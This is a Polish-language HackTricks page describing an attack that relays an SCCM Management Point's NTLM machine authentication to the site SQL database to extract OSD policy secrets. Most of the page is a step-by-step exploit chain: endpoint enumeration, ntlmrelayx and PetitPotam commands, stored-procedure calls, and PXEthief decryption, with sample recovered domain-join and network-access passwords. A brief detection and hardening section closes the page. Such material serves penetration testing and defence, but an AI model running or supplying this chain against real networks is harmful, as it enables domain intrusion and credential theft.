SCCM Management Point NTLM Relay do SQL – Ekstrakcja sekretów polityki OSD
Reading time: 6 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
TL;DR
Wymuszając System Center Configuration Manager (SCCM) Management Point (MP) do uwierzytelnienia przez SMB/RPC i przekazując ten NTLM machine account do bazy danych serwisu (MSSQL) uzyskujesz prawa smsdbrole_MP
/ smsdbrole_MPUserSvc
. Te role pozwalają na wywołanie zestawu procedur składowanych, które ujawniają Operating System Deployment (OSD) bloby polityki (poświadczenia konta dostępu do sieci, zmienne sekwencji zadań itp.). Bloby są zakodowane/encrypted w formacie hex, ale mogą być dekodowane i odszyfrowane za pomocą PXEthief, co daje w rezultacie jawne sekrety.
Ogólny schemat:
- Odkryj MP & bazę danych serwisu ↦ nieautoryzowany punkt końcowy HTTP
/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA
. - Uruchom
ntlmrelayx.py -t mssql://<SiteDB> -ts -socks
. - Wymuś MP używając PetitPotam, PrinterBug, DFSCoerce itp.
- Przez proxy SOCKS połącz się z
mssqlclient.py -windows-auth
jako przekazywane konto\ .$ - Wykonaj:
use CM_<SiteCode>
exec MP_GetMachinePolicyAssignments N'<UnknownComputerGUID>',N''
exec MP_GetPolicyBody N'<PolicyID>',N'<Version>'
(lubMP_GetPolicyBodyAfterAuthorization
)
- Usuń
0xFFFE
BOM,xxd -r -p
→ XML →python3 pxethief.py 7 <hex>
.
Sekrety takie jak OSDJoinAccount/OSDJoinPassword
, NetworkAccessUsername/Password
itp. są odzyskiwane bez dotykania PXE lub klientów.
1. Enumeracja nieautoryzowanych punktów końcowych MP
Rozszerzenie ISAPI MP GetAuth.dll ujawnia kilka parametrów, które nie wymagają uwierzytelnienia (chyba że serwis jest tylko PKI):
Parametr | Cel |
---|---|
MPKEYINFORMATIONMEDIA | Zwraca publiczny klucz certyfikatu podpisującego serwis + GUIDy urządzeń x86 / x64 Wszystkie Nieznane Komputery. |
MPLIST | Wymienia każdy Management-Point w serwisie. |
SITESIGNCERT | Zwraca certyfikat podpisujący główny serwis (identyfikuje serwer serwisu bez LDAP). |
Zbierz GUIDy, które będą działać jako clientID do późniejszych zapytań DB:
curl http://MP01.contoso.local/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA | xmllint --format -
2. Przekaż konto maszyny MP do MSSQL
# 1. Start the relay listener (SMB→TDS)
ntlmrelayx.py -ts -t mssql://10.10.10.15 -socks -smb2support
# 2. Trigger authentication from the MP (PetitPotam example)
python3 PetitPotam.py 10.10.10.20 10.10.10.99 \
-u alice -p P@ssw0rd! -d CONTOSO -dc-ip 10.10.10.10
Kiedy przymus się uruchomi, powinieneś zobaczyć coś takiego:
[*] Authenticating against mssql://10.10.10.15 as CONTOSO/MP01$ SUCCEED
[*] SOCKS: Adding CONTOSO/MP01$@10.10.10.15(1433)
3. Zidentyfikuj polityki OSD za pomocą procedur składowanych
Połącz się przez proxy SOCKS (port 1080 domyślnie):
proxychains mssqlclient.py CONTOSO/MP01$@10.10.10.15 -windows-auth
Przełącz się na bazę danych CM_CM_001
).
3.1 Znajdź GUIDy nieznanych komputerów (opcjonalnie)
USE CM_001;
SELECT SMS_Unique_Identifier0
FROM dbo.UnknownSystem_DISC
WHERE DiscArchKey = 2; -- 2 = x64, 0 = x86
3.2 Lista przypisanych polityk
EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N'';
Każdy wiersz zawiera PolicyAssignmentID
, Body
(hex), PolicyID
, PolicyVersion
.
Skup się na politykach:
- NAAConfig – poświadczenia konta dostępu do sieci
- TS_Sequence – zmienne sekwencji zadań (OSDJoinAccount/Password)
- CollectionSettings – może zawierać konta uruchamiane jako
3.3 Pobierz pełne body
Jeśli już masz PolicyID
i PolicyVersion
, możesz pominąć wymaganie clientID, używając:
EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00';
WAŻNE: W SSMS zwiększ „Maksymalna liczba pobranych znaków” (>65535), w przeciwnym razie blob zostanie obcięty.
4. Zdekoduj i odszyfruj blob
# Remove the UTF-16 BOM, convert from hex → XML
echo 'fffe3c003f0078…' | xxd -r -p > policy.xml
# Decrypt with PXEthief (7 = decrypt attribute value)
python3 pxethief.py 7 $(xmlstarlet sel -t -v "//value/text()" policy.xml)
Przykład odzyskanych sekretów:
OSDJoinAccount : CONTOSO\\joiner
OSDJoinPassword: SuperSecret2025!
NetworkAccessUsername: CONTOSO\\SCCM_NAA
NetworkAccessPassword: P4ssw0rd123
5. Istotne role i procedury SQL
Po przekazaniu logowania jest mapowane na:
smsdbrole_MP
smsdbrole_MPUserSvc
Te role ujawniają dziesiątki uprawnień EXEC, kluczowe używane w tym ataku to:
Procedura składowana | Cel |
---|---|
MP_GetMachinePolicyAssignments | Lista polityk zastosowanych do clientID . |
MP_GetPolicyBody / MP_GetPolicyBodyAfterAuthorization | Zwraca pełne ciało polityki. |
MP_GetListOfMPsInSiteOSD | Zwracane przez ścieżkę MPKEYINFORMATIONMEDIA . |
Możesz sprawdzić pełną listę za pomocą:
SELECT pr.name
FROM sys.database_principals AS dp
JOIN sys.database_permissions AS pe ON pe.grantee_principal_id = dp.principal_id
JOIN sys.objects AS pr ON pr.object_id = pe.major_id
WHERE dp.name IN ('smsdbrole_MP','smsdbrole_MPUserSvc')
AND pe.permission_name='EXECUTE';
6. Wykrywanie i Wzmacnianie
- Monitoruj logowania MP – każde konto komputera MP logujące się z IP, które nie jest jego hostem ≈ relay.
- Włącz Rozszerzoną Ochronę dla Uwierzytelniania (EPA) w bazie danych witryny (
PREVENT-14
). - Wyłącz nieużywany NTLM, wymuś podpisywanie SMB, ogranicz RPC (
te same środki zaradcze stosowane przeciwko
PetitPotam
/PrinterBug
). - Wzmocnij komunikację MP ↔ DB za pomocą IPSec / mutual-TLS.
Zobacz także
- Podstawy relacji NTLM:
- Nadużycia MSSQL i post-exploitation:
Odniesienia
- Chciałbym porozmawiać z Twoim menedżerem: Kradzież sekretów za pomocą relayów punktów zarządzania
- PXEthief
- Menadżer Niewłaściwej Konfiguracji – ELEVATE-4 i ELEVATE-5
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.